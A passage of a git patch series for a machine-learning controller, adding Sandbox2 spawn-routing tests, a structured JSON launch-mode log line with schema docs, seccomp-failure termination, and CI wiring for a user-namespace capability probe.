std::getline(ifs, content); + ifs.close(); + std::remove(OUT.c_str()); + + // If the token had NOT been stripped, argv0name and --disableSandbox + // would both reach the shell as positional args and $# would be 1. + BOOST_REQUIRE_EQUAL(std::string{"0"}, content); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":13,\"success\":true") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { + // With zero occurrences of --disableSandbox, args must reach the + // spawner completely unmodified (default route is Sandbox2, but this + // processPath isn't configured as sandboxed so it still dispatches to + // the legacy spawner, same as pre-existing behaviour). + const std::string OUT{"absent_token_arg_count.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{startCommand( + 14, PROCESS_PATH, {"-c", "echo $# > " + OUT, "argv0name", "extraArg"})}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{OUT}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + std::remove(OUT.c_str()); + + BOOST_REQUIRE_EQUAL(std::string{"1"}, content); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":14,\"success\":true") != std::string::npos); +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentOnSandboxedPath) { + // No token present on the configured sandboxed path must select the + // Sandbox2 route (V2, no automatic legacy fallback). On a build with no + // Sandbox2 support, CProcessSpawnerRouter fails closed for that route - + // observed here as the command failing rather than the copy succeeding, + // which is exactly how we know Sandbox2 (not legacy) was selected: had + // the route been E_Legacy, this copy would have succeeded. + const std::string OUT{"sandbox2_route_selected_out.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{ + startCommand(15, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":15,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("Failed to start process") != std::string::npos); +} +#endif // !SANDBOX2_AVAILABLE + BOOST_AUTO_TEST_SUITE_END() From 510fbfe9b8f0cd652703cf3a927c12ff86f86862 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 21:39:13 +0200 Subject: [PATCH 03/36] [ML] MG8 activation: hard-terminate on degraded-route seccomp failure (PR E Task 3) Flip TERMINATE_ON_DEGRADED_SECCOMP_FAILURE from false to true in Main.cc. This is now safe because CProcessSpawnerRouter (Task 2) guarantees that degraded-mode launches are never accidental fallbacks from failed Sandbox2 attempts, only ever explicit --disableSandbox route decisions. Updated comment to state the concrete invariant this flip depends on. Existing fault-injection test (testDecideDegradedModeActionFaultInjection) already covers all failure modes and validates expected behavior. Co-Authored-By: Claude Sonnet 5 --- bin/pytorch_inference/Main.cc | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 800c7525b6..a1b81171b6 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -296,13 +296,13 @@ int main(int argc, char** argv) { // Reduce memory priority before installing system call filters. ml::core::CProcessPriority::reduceMemoryPriority(); - // Internal switch, not an operator setting: it stays false until the - // controller can route around Sandbox2 explicitly and guarantee that a - // degraded-mode (no-Sandbox2) launch was a deliberate operator choice - // rather than the only option this process has. Flipping it on today - // would terminate every launch on a host lacking seccomp BPF, with no - // operator fallback to select instead. - constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{false}; + // Internal switch now enabled: CProcessSpawnerRouter (Task 2) guarantees + // that a degraded-mode (no-Sandbox2) launch is never an accidental + // fallback from a failed Sandbox2 attempt, only ever an explicit + // --disableSandbox route decision by the controller. This invariant makes + // termination on seccomp failure safe: a failed degraded launch is always + // an operator choice, never an unintended execution path. + constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{true}; const ml::seccomp::ESystemCallFilterInstallOutcome seccompOutcome{ ml::seccomp::CSystemCallFilter::installSystemCallFilter()}; From 772866199de6c7dd87b7bb61c85125dd042180cb Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 21:50:57 +0200 Subject: [PATCH 04/36] [ML] H4 structured once-per-launch enforced-mode signal (PR E Task 4) Emit a single-line JSON sandbox2_launch log line from CProcessSpawnerRouter::spawn() for every Sandbox2-eligible spawn (deployment_id, model_id, route, sandbox2_established, mode), fired on every dispatch outcome including a failed spawn. Adds docs/sandbox2_production_failure_modes.md documenting the schema. --- bin/controller/CProcessSpawnerRouter.cc | 121 +++++++++++++++-- bin/controller/CProcessSpawnerRouter.h | 9 ++ .../unittest/CProcessSpawnerRouterTest.cc | 123 ++++++++++++++++++ docs/sandbox2_production_failure_modes.md | 58 +++++++++ 4 files changed, 300 insertions(+), 11 deletions(-) create mode 100644 docs/sandbox2_production_failure_modes.md diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index 287e7274f0..45771e8acf 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -12,7 +12,55 @@ #include +#include + #include +#include +#include + +namespace { + +//! Scan \p args for a "--modelid=" token, using the same linear +//! string-prefix scan style CCommandProcessor uses for --disableSandbox +//! (bin/controller/CCommandProcessor.cc), rather than pulling in +//! boost::program_options for a single optional field. Returns "" if +//! absent. Independent of any --disableSandbox scan - this never mutates +//! or consumes \p args. +std::string scanModelId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { + const std::string prefix{"--modelid="}; + for (const auto& arg : args) { + if (arg.compare(0, prefix.size(), prefix) == 0) { + return arg.substr(prefix.size()); + } + } + return std::string(); +} + +//! Minimal JSON string escaping for the two string fields +//! (deployment_id/model_id) that are derived from operator/caller-supplied +//! input (a launch argument and a validated path component) rather than +//! from a fixed internal vocabulary - PR F's ES-side observability code +//! parses this line by name and type, so it must stay valid JSON even if +//! either value contains a quote or backslash. +std::string jsonEscape(const std::string& s) { + std::string out; + out.reserve(s.size()); + for (char c : s) { + switch (c) { + case '"': + out += "\\\""; + break; + case '\\': + out += "\\\\"; + break; + default: + out += c; + } + } + return out; +} + +} // namespace namespace ml { namespace controller { @@ -27,10 +75,57 @@ bool CProcessSpawnerRouter::isSandboxedProcessPath(const std::string& processPat m_SandboxedProcessPaths.end(); } +void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, const TStrVec& args, bool spawnSucceeded) const { + // Derive deployment_id exactly as CSandboxedProcessSpawner_Linux.cc + // does before constructing a Sandbox2 policy (see its trustedTmpDir + // derivation just before its own validateChildIpcLaunchSpec() call): + // this duplicates that validation call for observability purposes, + // which is expected - the function is pure, cross-platform-safe (only + // ::realpath and env/stat calls), and this signal must fire + // independently of whether the Linux spawner's own gating call ever + // ran (e.g. the legacy/degraded route never reaches it at all). + const char* tmpDirEnv{::getenv("TMPDIR")}; + const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; + const sandbox::SChildIpcValidationResult validated{ + sandbox::validateChildIpcLaunchSpec(trustedTmpDir, args)}; + + const bool isLegacyRoute{route == ERoute::E_Legacy}; + + // Controller ruling (binding, PR E Task 4): degraded is decided purely + // by route, regardless of the legacy spawn's own success/failure; + // enforced/fail_closed are only decided for the no-token Sandbox2 + // route, keyed off the spawn outcome itself. + std::string mode; + if (isLegacyRoute) { + mode = "degraded"; + } else { + mode = spawnSucceeded ? "enforced" : "fail_closed"; + } + const bool sandbox2Established{mode == "enforced"}; + + std::ostringstream signal; + signal << "{\"event\":\"sandbox2_launch\"" + << ",\"deployment_id\":\"" << jsonEscape(validated.s_Spec.s_ChildId) << "\"" + << ",\"model_id\":\"" << jsonEscape(scanModelId(args)) << "\"" + << ",\"route\":\"" << (isLegacyRoute ? "legacy" : "sandbox2") << "\"" + << ",\"sandbox2_established\":" << (sandbox2Established ? "true" : "false") + << ",\"mode\":\"" << mode << "\"" + << "}"; + LOG_INFO(<< signal.str()); +} + bool CProcessSpawnerRouter::spawn(ERoute route, const std::string& processPath, const TStrVec& args, core::CProcess::TPid& childPid) { + // The H4 signal (design.md §Failure behavior and observability) fires + // only for processes actually eligible for sandboxing - never for + // unrelated permitted processes like autodetect - and exactly once per + // spawn() call, on every outcome, computed once up front so neither + // dispatch branch below can accidentally skip or duplicate it. + const bool sandboxEligible{this->isSandboxedProcessPath(processPath)}; + + bool spawned{false}; if (route == ERoute::E_Legacy) { // Operator kill-switch route: the caller has already validated the // --disableSandbox token against this exact processPath and @@ -40,17 +135,15 @@ bool CProcessSpawnerRouter::spawn(ERoute route, LOG_INFO(<< "Launching '" << processPath << "' without Sandbox2 (operator kill switch --disableSandbox); " << "the in-process seccomp filter applies"); - return m_LegacySpawner.spawn(processPath, args, childPid); - } - - // route == ERoute::E_Sandbox2: dispatch on whether processPath is - // configured as sandboxed, not on anything derived from args. - if (this->isSandboxedProcessPath(processPath)) { + spawned = m_LegacySpawner.spawn(processPath, args, childPid); + } else if (sandboxEligible) { + // route == ERoute::E_Sandbox2, and processPath is configured as + // sandboxed. #ifdef SANDBOX2_AVAILABLE // No automatic fallback to the legacy spawner on a Sandbox2 // failure (V2, MG1): a process that must be sandboxed either // launches inside Sandbox2 or does not launch at all. - return m_SandboxSpawner.spawn(processPath, args, childPid); + spawned = m_SandboxSpawner.spawn(processPath, args, childPid); #else // Build/deployment contradiction: processPath is configured as // sandboxed, but this build has no Sandbox2 support (non-Linux). @@ -61,13 +154,19 @@ bool CProcessSpawnerRouter::spawn(ERoute route, LOG_ERROR(<< "Refusing to launch '" << processPath << "': configured as a sandboxed process path, but this " << "build was not compiled with Sandbox2 support"); - return false; + spawned = false; #endif + } else { + // Not a sandboxed process path: unrelated processes always go via + // the legacy spawner, unchanged from today's behaviour. + spawned = m_LegacySpawner.spawn(processPath, args, childPid); + } + + if (sandboxEligible) { + this->emitLaunchSignal(route, args, spawned); } - // Not a sandboxed process path: unrelated processes always go via the - // legacy spawner, unchanged from today's behaviour. - return m_LegacySpawner.spawn(processPath, args, childPid); + return spawned; } bool CProcessSpawnerRouter::terminateChild(core::CProcess::TPid pid) { diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h index ad0f53ec4a..ff6a11f0c6 100644 --- a/bin/controller/CProcessSpawnerRouter.h +++ b/bin/controller/CProcessSpawnerRouter.h @@ -83,6 +83,15 @@ class CProcessSpawnerRouter { //! path - used for dispatch only, never to decide the route itself. bool isSandboxedProcessPath(const std::string& processPath) const; + //! Emit the H4 structured once-per-launch signal (design.md §Failure + //! behavior and observability) for a Sandbox2-eligible spawn() call, + //! after the dispatch outcome is known. Fires on every outcome, + //! including \p spawnSucceeded == false (the fail_closed case) - never + //! gated behind the caller's own success handling. Must only be called + //! when the process path is a configured sandboxed process path; never + //! for unrelated processes (e.g. autodetect). + void emitLaunchSignal(ERoute route, const TStrVec& args, bool spawnSucceeded) const; + private: core::CDetachedProcessSpawner m_LegacySpawner; diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index b7f8de746a..ef2a2d5728 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -9,15 +9,18 @@ * limitation. */ +#include #include #include "../CProcessSpawnerRouter.h" +#include #include #include #include #include +#include #include #include @@ -27,6 +30,12 @@ // gates anything that would actually reach CSandboxedProcessSpawner behind // SANDBOX2_AVAILABLE - the same macro CProcessSpawnerRouter::spawn() itself // branches on - rather than the coarser `Linux`. +// +// H4 (PR E Task 4) signal assertions redirect ml::core::CLogger to an +// in-memory stream (the same technique CBoostedTreeTest.cc uses for its own +// LOG_ERROR assertions) and inspect the emitted JSON line as a substring +// match per field, rather than parsing JSON - this avoids pulling in a JSON +// parser dependency for a handful of flat string/bool fields. BOOST_AUTO_TEST_SUITE(CProcessSpawnerRouterTest) @@ -80,6 +89,20 @@ void assertDispatchCopiesFile(ml::controller::CProcessSpawnerRouter& router, std::remove(outputFile.c_str()); } + +//! Redirect ml::core::CLogger to an in-memory stream for the duration of +//! \p fn, then reset() it back to its default configuration before +//! returning - callers must not leak the redirect into later test cases. +//! \return everything logged while \p fn ran, so the caller can search for +//! the H4 signal's JSON line as a substring. +template +std::string captureLogged(FN&& fn) { + auto stream = boost::make_shared(); + BOOST_TEST_REQUIRE(ml::core::CLogger::instance().reconfigure(stream)); + fn(); + ml::core::CLogger::instance().reset(); + return stream->str(); +} } BOOST_AUTO_TEST_CASE(testSandbox2RouteDispatchesLegacyForUnsandboxedPath) { @@ -142,8 +165,108 @@ BOOST_AUTO_TEST_CASE(testSandbox2RouteFailsClosedWithoutSandbox2Support) { std::ifstream ifs{"router_test_should_not_run.txt"}; BOOST_REQUIRE_EQUAL(false, ifs.is_open()); } + +BOOST_AUTO_TEST_CASE(testH4SignalFailClosedWithoutSandbox2Support) { + // Reuses the exact non-Linux fail-closed vector above (route == + // E_Sandbox2 for a sandboxedProcessPaths entry, no SANDBOX2_AVAILABLE) + // to assert the H4 signal itself: mode == "fail_closed", + // sandbox2_established == false (a JSON boolean, not the string + // "false"), route == "sandbox2", and the signal fires even though + // spawn() returns false - it must not be gated behind a success check. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-fail-closed"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"route\":\"sandbox2\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); + BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-fail-closed\"") != std::string::npos); + // No path-bearing (input/output/restore/logPipe) option was present in + // args, so deployment_id must be the explicit empty string, not omitted. + BOOST_REQUIRE(logged.find("\"deployment_id\":\"\"") != std::string::npos); +} #endif // !SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteSuccess) { + // Token-present route: mode must be "degraded" and sandbox2_established + // false regardless of the legacy spawn's own outcome. This case is the + // successful-spawn half of that "regardless" - see + // testH4SignalDegradedOnLegacyRouteFailure for the failed-spawn half. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + const std::string outputFile{"router_test_h4_degraded_success.txt"}; + std::remove(outputFile.c_str()); + ml::controller::CProcessSpawnerRouter::TStrVec args{ + SHELL_FLAG, copyArgsScript(outputFile), "--modelid=deploy-degraded-ok"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + // The copy runs in the detached child asynchronously - give it the same + // grace period assertDispatchCopiesFile above uses before cleaning up, + // so this test doesn't race the shell command and leave debris behind. + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(outputFile.c_str()); + + BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); + BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-degraded-ok\"") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteFailure) { + // Same route (E_Legacy) but the legacy spawn itself fails + // deterministically, without touching the filesystem or the real + // Sandbox2 backend: PROCESS_PATH is listed as sandboxed (so the signal + // is eligible to fire) but deliberately left out of permittedPaths, so + // core::CDetachedProcessSpawner::spawn() rejects it up front + // ("is not permitted") before any fork/exec attempt. Confirms mode == + // "degraded" (not "fail_closed" - that mode is reserved for the + // no-token Sandbox2 route) even though the underlying spawn failed. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // PROCESS_PATH deliberately absent + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-degraded-fail"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); + BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-degraded-fail\"") != std::string::npos); +} + +// Buildkite-deferred (Linux + Sandbox2 only): the mode == "enforced" / +// sandbox2_established == true case requires a real successful Sandbox2 +// launch (route == E_Sandbox2, a sandboxedProcessPaths entry, spawn() +// returning true) - on a build without SANDBOX2_AVAILABLE that combination +// is unreachable, since CProcessSpawnerRouter::spawn() unconditionally +// fails closed for it (see testH4SignalFailClosedWithoutSandbox2Support +// immediately above). This is the same platform limitation the pre-existing +// Buildkite-deferred note below documents for the router's own Sandbox2 +// dispatch; the H4 "enforced" case needs the identical Linux + Sandbox2 +// scaffolding once a Sandbox2-aware controller unittest target exists. + // Buildkite-deferred (Linux + Sandbox2 only, design.md V2): asserting that // an E_Sandbox2 route for a sandboxedProcessPaths entry reaches // CSandboxedProcessSpawner::spawn(), and that a failure there returns false diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md new file mode 100644 index 0000000000..ffefad821a --- /dev/null +++ b/docs/sandbox2_production_failure_modes.md @@ -0,0 +1,58 @@ +# Sandbox2 production failure modes + +This document tracks the operational log vocabulary the controller and +`pytorch_inference` emit around the Sandbox2 rollout. Per +`docs/projects/mlcpp-sandbox2-pr2873/design.md` §Failure behavior and +observability, this schema is itself an API: field names and types must not +change without updating both this document and any downstream consumer +(notably PR F's ES-side observability work). + +This file currently documents only the log line introduced by PR E Task 4 +(the H4 structured once-per-launch enforced-mode signal). A later task (PR E +Task 6) extends it with the remaining production failure-mode vocabulary. + +## Log vocabulary + +### `sandbox2_launch` + +Emitted exactly once per `CProcessSpawnerRouter::spawn()` call, for +processes eligible for sandboxing only (i.e. `processPath` is one of the +controller's configured `sandboxedProcessPaths` - never for unrelated +permitted processes such as `autodetect`). Fires on every dispatch outcome, +including a failed spawn, so it is never gated behind the controller's own +success handling. + +Logged via `LOG_INFO` over the controller's existing log pipe (the same +channel/style MG8's `degradedModeAttestationMarker()` marker uses), as a +single-line JSON object. + +| Field | Type | Meaning | +|-------------------------|---------|---------| +| `event` | string | Always `"sandbox2_launch"`. | +| `deployment_id` | string | `SChildIpcLaunchSpec::s_ChildId`, derived by re-running `sandbox::validateChildIpcLaunchSpec()` against the launch args. Empty string (`""`, explicit, never omitted) when no path-bearing launch option (`input`/`output`/`restore`/`logPipe`) was present. | +| `model_id` | string | Scanned from a `--modelid=` launch argument, using the same linear string-prefix scan style as the controller's `--disableSandbox` token scan. Empty string if absent. | +| `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the operator kill-switch (`--disableSandbox`) routed to `E_Legacy`. | +| `sandbox2_established` | boolean | JSON boolean (`true`/`false`, never the string `"y"`/`"n"`). `true` iff `mode == "enforced"`, else `false`. | +| `mode` | string | One of `"enforced"`, `"fail_closed"`, `"degraded"` - see mapping below. | + +**`mode` mapping** (binding, PR E Task 4 controller ruling): + +- `enforced` - `route == "sandbox2"` (no operator kill-switch token) and the + Sandbox2 spawn returned `true`. +- `fail_closed` - `route == "sandbox2"` and the spawn returned `false` + (includes the build/deployment contradiction case where `processPath` is + configured as sandboxed but this build has no Sandbox2 support). +- `degraded` - `route == "legacy"` (operator kill-switch token present and + validated), regardless of whether the legacy spawn itself succeeded or + failed. + +Example: + +```json +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"sandbox2","sandbox2_established":true,"mode":"enforced"} +``` + +Emission site: `bin/controller/CProcessSpawnerRouter.cc`, +`CProcessSpawnerRouter::spawn()` (via the private `emitLaunchSignal()` +helper) - chosen because this class owns both the already-decided route +parameter and the actual spawn-outcome boolean the `mode` field depends on. From 28987a9132f327cb90d1390f428233b3c31b716e Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:02:17 +0200 Subject: [PATCH 05/36] [ML] Staged userns probe + ML_SANDBOX2_REQUIRE CI wiring (PR E Task 5) Adds ml_sandbox_userns_probe.cc: a dependency-free payload exercising the 7 staged kernel primitives Sandbox2's forkserver depends on (pipe+fork, unshare(CLONE_NEWUSER), uid/gid map writes incl. setgroups, unshare(CLONE_NEWNS|CLONE_NEWPID), fork into the new PID namespace, then mount("/", MS_REC|MS_PRIVATE) and mount("proc", ...) - the proc mount runs strictly after the stage-5 fork, preserving the 50bacc2b ordering fix. CSandboxUserNamespaceProbeTest_Linux.cc runs it as a plain host subprocess (no Sandbox2 policy involved - this characterizes the ambient CI environment, not a sandbox policy) and reacts to ML_SANDBOX2_REQUIRE: unset=diagnostic-only, enforced=must-pass, fail_closed=must-fail-somewhere. run_tests.sh wires a two-pass mode loop (enforced, fail_closed) into the aarch64/Docker branch and a one-pass (fail_closed only) loop into the x86_64/macOS branch, per the accepted H3 risk: no userns-capable x86_64 Buildkite runner exists (EPERM on mount("proc", ...)), so enforced mode is never exercised there. --- .buildkite/scripts/steps/run_tests.sh | 83 ++++--- lib/sandbox/unittest/CMakeLists.txt | 23 ++ .../CSandboxUserNamespaceProbeTest_Linux.cc | 97 ++++++++ .../payloads/ml_sandbox_userns_probe.cc | 224 ++++++++++++++++++ 4 files changed, 396 insertions(+), 31 deletions(-) create mode 100644 lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc create mode 100644 lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc diff --git a/.buildkite/scripts/steps/run_tests.sh b/.buildkite/scripts/steps/run_tests.sh index 5c86108f47..53485ebc02 100755 --- a/.buildkite/scripts/steps/run_tests.sh +++ b/.buildkite/scripts/steps/run_tests.sh @@ -49,37 +49,48 @@ TEST_OUTCOME=0 if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = Linux ]]; then # --- Linux aarch64: run tests inside Docker container from base image --- + # aarch64 Buildkite k8s pods are the only runners here with userns + # capability (mount("proc", ...) succeeds), so this is the only branch + # that can exercise ML_SANDBOX2_REQUIRE=enforced. It also runs + # fail_closed as a second pass so both the enforced-capable and + # fail-closed-required behaviors get distinct, separately-reported CI + # coverage rather than only one being proven per architecture. + SANDBOX2_REQUIRE_MODES=(enforced fail_closed) + BASE_IMAGE="docker.elastic.co/ml-dev/ml-linux-aarch64-native-build:17" . ./dev-tools/docker/prefetch_docker_image.sh prefetch_docker_image "$BASE_IMAGE" - echo "--- Running tests (Docker)" - docker run --rm \ - -v "$(pwd)/${BUILD_DIR}:/ml-cpp/${BUILD_DIR}" \ - -v "$(pwd)/build:/ml-cpp/build" \ - -v "$(pwd)/lib:/ml-cpp/lib" \ - -v "$(pwd)/bin:/ml-cpp/bin" \ - -v "$(pwd)/cmake:/ml-cpp/cmake:ro" \ - -v "$(pwd)/set_env.sh:/ml-cpp/set_env.sh:ro" \ - -v "$(pwd)/gradle.properties:/ml-cpp/gradle.properties:ro" \ - -e BOOST_TEST_OUTPUT_FORMAT_FLAGS="${BOOST_TEST_OUTPUT_FORMAT_FLAGS:-}" \ - ${TEST_TIMEOUT:+-e TEST_TIMEOUT="${TEST_TIMEOUT}"} \ - -w /ml-cpp \ - $BASE_IMAGE bash -c ' - source ./set_env.sh - - LIB_DIRS=$(find /ml-cpp/cmake-build-docker/lib /ml-cpp/build/distribution \ - -name "*.so" -exec dirname {} \; 2>/dev/null | sort -u | tr "\n" ":") - export LD_LIBRARY_PATH="${LIB_DIRS}/usr/local/gcc133/lib64:/usr/local/gcc133/lib" - - chmod -R +x cmake-build-docker/test/ 2>/dev/null - - cmake \ - -DSOURCE_DIR=/ml-cpp \ - -DBUILD_DIR=/ml-cpp/cmake-build-docker \ - -P cmake/run-all-tests-parallel.cmake - ' || TEST_OUTCOME=$? + for MODE in "${SANDBOX2_REQUIRE_MODES[@]}"; do + echo "--- Running tests (Docker, ML_SANDBOX2_REQUIRE=${MODE})" + docker run --rm \ + -v "$(pwd)/${BUILD_DIR}:/ml-cpp/${BUILD_DIR}" \ + -v "$(pwd)/build:/ml-cpp/build" \ + -v "$(pwd)/lib:/ml-cpp/lib" \ + -v "$(pwd)/bin:/ml-cpp/bin" \ + -v "$(pwd)/cmake:/ml-cpp/cmake:ro" \ + -v "$(pwd)/set_env.sh:/ml-cpp/set_env.sh:ro" \ + -v "$(pwd)/gradle.properties:/ml-cpp/gradle.properties:ro" \ + -e BOOST_TEST_OUTPUT_FORMAT_FLAGS="${BOOST_TEST_OUTPUT_FORMAT_FLAGS:-}" \ + -e ML_SANDBOX2_REQUIRE="${MODE}" \ + ${TEST_TIMEOUT:+-e TEST_TIMEOUT="${TEST_TIMEOUT}"} \ + -w /ml-cpp \ + $BASE_IMAGE bash -c ' + source ./set_env.sh + + LIB_DIRS=$(find /ml-cpp/cmake-build-docker/lib /ml-cpp/build/distribution \ + -name "*.so" -exec dirname {} \; 2>/dev/null | sort -u | tr "\n" ":") + export LD_LIBRARY_PATH="${LIB_DIRS}/usr/local/gcc133/lib64:/usr/local/gcc133/lib" + + chmod -R +x cmake-build-docker/test/ 2>/dev/null + + cmake \ + -DSOURCE_DIR=/ml-cpp \ + -DBUILD_DIR=/ml-cpp/cmake-build-docker \ + -P cmake/run-all-tests-parallel.cmake + ' || TEST_OUTCOME=$? + done # Seccomp tests run inside the Docker container which shares the host # kernel, so the kernel's seccomp filters are exercised without needing @@ -87,6 +98,14 @@ if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = else # --- Linux x86_64 / macOS: run tests directly --- + # x86_64 Buildkite k8s pods get EPERM on mount("proc", ...) - there is no + # userns-capable x86_64 runner (accepted risk, see evidence.md MG6). Only + # fail_closed runs here; do not add an enforced pass to this branch. This + # also covers aarch64 cross-compile builds, which fall through to this + # same branch via the "-z ${CPP_CROSS_COMPILE:-}" condition above, so + # they get fail_closed coverage too rather than being skipped entirely. + SANDBOX2_REQUIRE_MODES=(fail_closed) + . ./set_env.sh find ${BUILD_DIR}/test -name "ml_test_*" -type f -exec chmod +x {} \; @@ -101,11 +120,13 @@ else export DYLD_LIBRARY_PATH="${LIB_DIRS}${DYLD_LIBRARY_PATH:+:$DYLD_LIBRARY_PATH}" fi - echo "--- Running tests" - cmake \ - -DSOURCE_DIR="$(pwd)" \ - -DBUILD_DIR="$(pwd)/${BUILD_DIR}" \ - -P cmake/run-all-tests-parallel.cmake || TEST_OUTCOME=$? + for MODE in "${SANDBOX2_REQUIRE_MODES[@]}"; do + echo "--- Running tests (ML_SANDBOX2_REQUIRE=${MODE})" + ML_SANDBOX2_REQUIRE="${MODE}" cmake \ + -DSOURCE_DIR="$(pwd)" \ + -DBUILD_DIR="$(pwd)/${BUILD_DIR}" \ + -P cmake/run-all-tests-parallel.cmake || TEST_OUTCOME=$? + done fi # Upload test results diff --git a/lib/sandbox/unittest/CMakeLists.txt b/lib/sandbox/unittest/CMakeLists.txt index c29e1fc1e2..768be49620 100644 --- a/lib/sandbox/unittest/CMakeLists.txt +++ b/lib/sandbox/unittest/CMakeLists.txt @@ -44,6 +44,7 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") list(APPEND 